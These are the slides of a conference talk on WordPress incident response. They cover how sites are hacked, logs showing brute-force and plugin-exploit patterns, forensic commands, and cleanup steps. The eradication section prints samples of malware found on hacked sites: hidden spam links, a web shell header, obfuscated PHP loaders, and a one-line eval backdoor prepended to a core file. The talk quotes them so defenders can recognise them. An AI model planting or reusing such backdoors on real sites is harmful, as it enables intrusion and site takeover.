WHAT TO EXPECT WHEN YOU'RE EXPECTING TO GET HACKED - WORDPRESS EDITION

WITH YOUR HOST:

ADAM ARROWOOD

ADAM.ARROWOOD@SECURITY.GATECH.EDU

OVERVIEW

HOW YOUR SITE GETS HACKED

ONCE HACKED, HOW YOUR SITE IS USED

WAYS TO DETECT COMPROMISE

WHAT TO DO WHEN YOU GET HACKED

THIS **IS NOT** A TALK ABOUT SECURING WORDPRESS

(SEE LAST YEAR'S CONFERENCE, VENDOR WEBSITES)

ABOUT://ME/

ADAM ARROWOOD
adam.arrowood@security.gatech.edu
https://www.gatech.edu/adam
aarrowood on WPCampus Slack

Georgia Tech **CYBER SECURITY**
Georgia Institute of Technology

Background: web app dev/hosting/security, AWS

Central web hosting service with 400+ WordPress sites, single multi-site with 500+ sites, others on campus

HOW HACKERS HACK

YOU LET THEM? SPAMMED vs HACKED

HOW HACKERS HACK

PLUGIN/CORE/THEME VULNERABILITY

BRUTE FORCE LOGIN

HOSTING (CROSS-PRODUCT, CROSS-SITE)

OTHERS (SERVER ENV, CUSTOM CODE, ETC)

HOW HACKERS HACK

PLUGIN/CORE/THEME VULNERABILITY

BRUTE FORCE LOGIN

HOSTING (CROSS-PRODUCT, CROSS-SITE)

OTHERS (SERVER ENV, CUSTOM CODE, ETC)

WHAT HACKERS DO

CONTENT , CODE , RESOURCES

WHAT HACKERS DO

BLACK-HAT SEO (webspam, cloaks, redirects)

EMAIL SPAMMING

CRYPTO MINING (client-side, server-side)

HOST BAD THINGS: MALWARE, PHISHING, PORN

DEFACEMENT

STEAL DATA

BOTNET

PIVOT

*** BACKDOOR SHELL ACCESS ***

WHAT IF YOUR SITE GETS HACKED?

INCIDENT RESPONSE

STANDARDIZED PROCESS

PREPARE AND RESPOND

INCIDENT RESPONSE

PREPARATION

DETECTION

CONTAINMENT

INVESTIGATION

RECOVERY: ERADICATION & PREVENTION

POST-INCIDENT ACTIONS

INCIDENT RESPONSE: PREPARATION

GOAL: BE ABLE TO EXECUTE OTHER STEPS

FILES

- Know your site's files
- How to list the timestamps of your files
- How to checksum/diff your files

DATABASE

- Know your site's databases, tables
- How to access the database directly (SQL, phpMyAdmin)

LOGS

- How to access and search your site's logs
- Keep your logs a long time (6 months or more?)
- "Get the logs off the box"
- Best-case? Full packet captures with SSL decryption

INCIDENT RESPONSE: PREPARATION

BACKUPS

How to browse & restore *nightly, automated* backups of files, database, logs

Ability to create on-demand backups

RESTRICTION

How to immediately limit access to your site

KNOW THE VALUE OF YOUR DATA

Legally, how sensitive is your site's contents?

KNOW HOW TO CONTACT YOUR CYBER SECURITY TEAM

INCIDENT RESPONSE: DETECTION

GOAL: WAS THE SITE COMPROMISED?

LOOK FOR **INDICATIONS OF COMPROMISE**

EXTERNAL & END-USER CONTACT, EMAIL BOUNCES

GOOGLE : DORKING, ALERTS, **SEARCH CONSOLE**

UNUSUAL RESOURCE USAGE:
CPU, STORAGE, TRAFFIC (AMOUNT, SRC/DST)

FILE, DATABASE CHANGES

LOGS

INCIDENT RESPONSE: CONTAINMENT

GOAL: STOP FURTHER CHANGES & BAD ACTIONS

BLOCK ACCESS TO YOUR SITE

Blocking vs. redirection

Complete vs. local-only block

Running processes? Outbound mail queue?

STOP AND CONTACT CYBER SECURITY

INCIDENT RESPONSE: INVESTIGATION

GOALS:

How did they get in?

What did they do once in?

WHO DOES THIS?

Your cyber security team

Hire external company

You do it yourself

INCIDENT RESPONSE: INVESTIGATION

FORENSIC COPIES

Make new copies of prod files, database, logs

Work **ONLY** on the copies

Restore backups to a new location (not production)

Download clean copies of WordPress, plugins, themes

INCIDENT RESPONSE: INVESTIGATION

LOG SPELUNKING

Start search at time of the IOC, off-campus and out-of-area HTTP POSTS

Look for common hacking events:

Brute-force attacks on wp_login.php or xmlrpc.php

Unusual admin access (location, activity)

Corroborate with files, database… feedback loop

Don’t assume different IPs = different attackers

You will see strange entries, avoid wild-goose chases

INCIDENT RESPONSE:
COMMON COMPROMISE PATTERNS

BRUTE-FORCE ⇨ LOGIN ⇨ ACCESS

```
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "POST /wp-login.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:01 -0500] "POST /wp-login.php" 200 3316 "-" "-"
... 37,287 more times ...
129.56.53.105 - - [12/Jan/2019:10:21:28 -0500] "POST /wp-login.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2019:10:21:29 -0500] "POST /wp-login.php" 302 - "-" "-"
129.56.53.105 - - [12/Jan/2019:10:21:29 -0500] "GET /wp-admin/" 200 52466 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:23:14 -0500] "POST /wp-admin/update.php?action=upload-plugin" 200 40038 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:23:17 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 204 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:32:45 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 4673 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:33:56 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 12398 "-" "-"
129.56.53.105 - - [12/Jan/2018:10:36:02 -0500] "POST /wp-content/plugins/apikey/apikey.php" 200 2837 "-" "-"
```

VULNERABLE PLUGIN ⇨ ACCESS

```
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "GET /wp-content/plugins/revslider/image.php" 404 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:00 -0500] "GET /wp-content/plugins/woocomerce/update.php" 404 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:02 -0500] "GET /wp-content/plugins/timthumb/index.php" 302 - "-" "-"
129.56.53.105 - - [12/Jan/2019:00:00:03 -0500] "POST /wp-content/plugins/timthumb/index.php" 200 3316 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:05 -0500] "POST /wp-updates.php" 200 9024 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:11 -0500] "POST /wp-updates.php" 200 57823 "-" "-"
129.56.53.105 - - [12/Jan/2018:00:00:14 -0500] "POST /wp-updates.php" 200 1212 "-" "-"
```

INCIDENT RESPONSE: INVESTIGATION

DATABASE

May have to view posts, pages directly
(not through site)

Use **WP_USERMETA** table to see active sessions

```
mysql> select user_id,meta_value from wp_usermeta where meta_key='session_tokens'\G
user_id: 1
meta_value: a:1:{s:64:"e766bd82b128537dc171c5748b079fcf78d06179ecb3bef37dcc2041dd51c9e6";a:4:{s:
10:"expiration";i:1547740382;s:2:"ip";s:15:"37.232.195.59";s:2:"ua";s:120:"Mozilla/5.0 (Macintosh; Intel Mac OS
X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36";s:5:"login";i:1547567582;}}
```

Users (password hash & more) from **WP_USERS**

```
mysql> select ID,user_login, user_pass, user_registered from wp_users;
+----+------------------+-----------------------------------+---------------------+
| ID | user_login       | user_pass                         | user_registered     |
+----+------------------+-----------------------------------+---------------------+
|  1 | admin            | lwkerluiwelkjwl4iusf098234lksd    | 2018-07-21 15:52:08 |
|  2 | marshall         | C23094802394asldfKSfluwerlsudf    | 2018-07-21 19:20:38 |
|  3 | doug             | iiu349832lkjsdf7834ksd8lk3423l    | 2019-01-15 11:15:54 |
+----+------------------+-----------------------------------+---------------------+
3 rows in set (0.00 sec)
```

INCIDENT RESPONSE: ERADICATION

GOAL: REMOVE MODIFICATIONS

ROOT CAUSE > CLEAN-UP

Same exact site (usually) = same exact hack

RESTORE TO BACKUPS

Restore matching files and database

Don't destroy forensic copies

NO SUITABLE BACKUP?

Need to find changes...

INCIDENT RESPONSE: ERADICATION

FILES

Timestamps on existing and new files (*can be faked/changed)

Checksums/Diffs against known good versions

Old backups? Still useful

DATABASE

May have to clean “manually”... depends on what was done to the site

Old backup? compare **CHECKSUM TABLE** values;
diff SQL dumps of mismatches

Don’t forget to **KILL ACTIVE SESSIONS**

```
DELETE FROM WP_USERMETA WHERE META_KEY='SESSION_TOKENS'
```

LOGS

Focus on off-campus access

Not all file creations will have an entry

Some hackers clean up after themselves

INCIDENT RESPONSE: ERADICATION

LOOKING FOR MODIFIED/NEW FILES :: CHECKING TIMESTAMPS

```
# find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -n | cut -d: -f2- | \
  cut -f1,3- -d \. | sed -e's/\./ /' | egrep '\.php$'

2019-01-12 03:54:13 ./wp-content/themes/bartik/template.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/comment-wrapper.tpl.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/comment.tpl.php
2019-01-12 03:54:13 ./wp-content/themes/bartik/templates/maintenance-page.tpl.php
2019-01-12 03:54:14 ./wp-content/themes/bartik/templates/node.tpl.php
2019-01-12 03:54:14 ./wp-content/themes/bartik/templates/page.tpl.php
2019-01-14 00:32:29 ./wp-content/plugins/woocommerce/cache.php
2019-01-15 15:32:28 ./wp-content/themes/garland/comment.tpl.php
2019-01-15 15:32:28 ./wp-content/themes/garland/maintenance-page.tpl.php
2019-01-15 15:32:28 ./wp-content/themes/garland/template.php
2019-01-15 15:32:28 ./wp-content/themes/garland/theme-settings.php
2019-01-15 15:32:28 ./wp-content/update.php
2019-01-15 15:32:28 ./xmlrpc.php
```

INCIDENT RESPONSE: ERADICATION

LOOKING FOR MODIFIED/NEW FILES
:: RECURSIVE DIFF AGAINST GOOD CODE

```
# diff -qr html/ wordpress-5.0.3/
Only in html/wp-content/uploads/2019/01/presentation.jpg
Only in html/: favicon.ico
Only in html/: googleb5f78e2b6bf0e621.html
Only in html/wp-content/themes/twentynineteen: input.php
Only in html/: wp-updates.php
Only in html/wp-admin/: x347sdkvwx.php
Files html/wp-includes/comment.php and wordpress-5.0.3/wp-includes/comment.php differ
Files html/wp-includes/post.php and wordpress-5.0.3/wp-includes/post.php differ
```

INCIDENT RESPONSE: ERADICATION

MALICIOUS CODE EXAMPLES

```
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
?>
<html>
<div style='left: -3565px; position: absolute; top: -4812px'>
<a href="http://www.buycheapjerseys.us.com/cheap-mlb-jerseys-c-1.html">mlb jerseys custom</a>
<a href="http://www.airjordanofficially.com">zest jordan 11</a>
<a href="http://www.jerseyswholesale.cc/mlb-jerseys-c-1.html">cheap custom mlb jerseys</a>
<a href="http://www.cheapnfljerseyschina.cc/nike-nfl-jerseys-c-626.html">cheap nfl dallas cowboys jerseys</a>
```

```
$auth_pass = "Tiger00";
$color = "#00FF66"; //Colour
$default_action = "FilesMan";
$default_charset = "Windows-1251";
$antiCrawler = "on";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Yahoo");
    if(preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
```

INCIDENT RESPONSE: ERADICATION

MALICIOUS CODE EXAMPLES

```
<?php

 function v8OrY($PsCO0, $rru3z = "\61\x32\63") { $y8qqi = $PsCO0; $m2fAo = ''; for ($btjPw = 0; $btjPw < strlen($
     y8qqi);) { for ($ONJ1t = 0; $ONJ1t < strlen($rru3z) && $btjPw < strlen($y8qqi); $ONJ1t++, $btjPw++) { $m2fAo
      $y8qqi[$btjPw] ^ $rru3z[$ONJ1t]; } } return $m2fAo; }

$nRGqKqXR387 = "CBkKBCA2fSFhZkdTBg88WyY2LC5bdnZOLzENARtDfTtaAnlHBg8oBhgcAnlaeWJSFR80WiMmfT10cmJfFh8gAiYmPHhgAmZOFh
AiMcAnx0cmJfFh8gAiYmPHhgA35bFRAwEBgpFTtyeX5CLyYrXQYgNCZadgldFR8NDQg2CntickdfLns3GQg5CiBiXGZSLh9DARgiMy9ydlxBAz9KIQ
KyNhaWYELQ5DHRspCjJxdQBTBnosARscCXt2W3ZfARw/EhglAiF3dWpZFSIrWQwbIzBidVxZAiIrEgw1HXxyS0N6DyEoACBDPD5bWHENBQszABg2HX
W0N6DyEoARgmHiBcZkgEFHo8ACY2KD5aWHENBQseLSMmPCRbAQFcLiEZXQYgKyNidmZZFRAsGSY3fXlbA2ZSFR8KAicyBXFxeWJNKB8vXQYgKyNidm
FRAsGSY3fSJZdnZNL3osWgs1dC9yAFRELiUoHCZCCTx1ZXkFARsZXQYgKwZ7XFxZBws8BiApBnhdYldfFHk0LBcdHg5tXUNaHw4oPxc3fR5tAWZnFH
IhAkcR1yAABEBxs4XQYgKy9xcnFTBgAsEBgpDgpiA2ZBKAA3DRIiBiBbX3pcKRsdAxBDfT5iA0hYBSENDQsdCjtcaXpDBSENDQsadRxsWnpCKAszGQ
DjhhZwlcLyU0BSMpHiRbWHlHBQswMBsmcSNiaVddAAs7AxccAjxhXEhYLyEzGg0GdANxcnFTBQ8WBwk5BjFiZlRSLh88WhtDIydySAhaBQtODSMmdT
```

```
<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x64\x71\x79\x65e"]="\x76\x61lue";${"\x47\x4c\x4f\x42\x41L\x53"}["\x77\x62
    \x71q\x62\x67\x6f"]="\x6b\x65\x79";${"\x47LOB\x41\x4c\x53"}["t\x66\x62\x71\x75\x76\x75"]="\x64\x61\x74a";${"\x47
    \x4c\x4f\x42\x41\x4cS"}["\x62ba\x6e\x68\x71\x76\x6e\x64k"]="i";${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x77\x76\x74uj
    \x71f\x73c\x70"]="\x64at\x61";${"\x47LO\x42\x41L\x53"}["\x6fhnb\x68dky\x76"]="\x6f\x75t_d\x61\x74\x61";${"\x47
    \x4c\x4f\x42\x41\x4c\x53"}["\x6c\x73rir\x78u"]="d\x61\x74\x61\x5fke\x79";${"\x47L\x4f\x42\x41L\x53"}["x\x65\x77
    \x68\x72\x72\x68"]="\x64\x61\x74\x61";@ini_set("err\x6f\x72_\x6c\x6f\x67",NULL);${"\x47LO\x42\x41\x4c\x53"}["rb
    \x76c\x6av\x6a"]="\x61\x75\x74h";@ini_set("log\x5fe\x72\x72o\x72\x73",0);@ini_set("\x6dax\x5fe\x78\x65c\x75\x74i
    \x6fn_t\x69\x6de",0);@set_time_limit(0);if(!defined("PHP_EO\x4c")){define("\x50H\x50_\x45O\x4c","\n");}$
    vmqnpxxlira="\x64\x61\x74a";if(!defined("D\x49RE\x43\x54\x4f\x52\x59_S\x45\x50\x41\x52\x41TOR")){define("DIR\x45
    CT\x4fR\x59_SE\x50\x41RA\x54OR","/");}${$vmqnpxxlira}=NULL;${${"GL\x4f\x42A\x4c\x53"}["\x6cs\x72\x69r\x78\x75"]}
```

INCIDENT RESPONSE: ERADICATION

MALICIOUS CODE EXAMPLES

```php
<?php if(md5($_POST['xdeu3s']) == 'woieruo30948lsk==') {eval($_POST['xcv98sd']);}?><?php
/**
 * WordPress Ajax Process Execution
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @link https://codex.wordpress.org/AJAX_in_Plugins
 */

/**
 * Executing Ajax process.
 *
 * @since 2.1.0
 */
define( 'DOING_AJAX', true );
```

INCIDENT RESPONSE: ERADICATION

AUDIT USERS

CHANGE ALL USER PASSWORDS

Was your **WP_USERS** table
(with passwords hashes) exfiltrated?

HUGE PAIN to change and distribute
new passwords

Have users change their own passwords?
Verify changes via **WP_USERS** table

What about SSO?

INCIDENT RESPONSE: PREVENTION

GOAL: STOP REPEATED COMPROMISE

WHAT HAPPENED? FIX THAT

FOLLOW SECURITY BASICS:

PATCH, PATCH, PATCH, & AUDIT

STOP BRUTE-FORCE LOGINS
(PASSWORD POLICY, RATE-LIMIT, SSO, 2FA)

WEB APPLICATION FIREWALL (WAF)

TRIPWIRE/SCANNER (WORDFENCE, SUCURI)

INCIDENT RESPONSE: POST-INCIDENT

UN-BLOCK SITE

MONITOR CLOSELY

NOTIFICATIONS: ADMINS, USERS

DOCUMENT WHAT HAPPENED,
CONSIDER CHANGES

REQUEST RE-CRAWL FROM GOOGLE, BING

GO BACK TO PREPARE STATE

SUMMARY

PEOPLE AND BOTS DO BAD THINGS

DID YOU GET HACKED?

ARE YOU PREPARED?

DRAT, WE GOT HACKED. NOW WHAT?

RESTRICT

COPY

INVESTIGATE

ERADICATE

PREVENT

RESTORE ACCESS

POST-INCIDENT ACTIVITIES

CONTACT://ME/

ADAM ARROWOOD

adam.arrowood@security.gatech.edu

https://www.gatech.edu/adam

WPCampus Slack :: @aarrowood

#attendees-online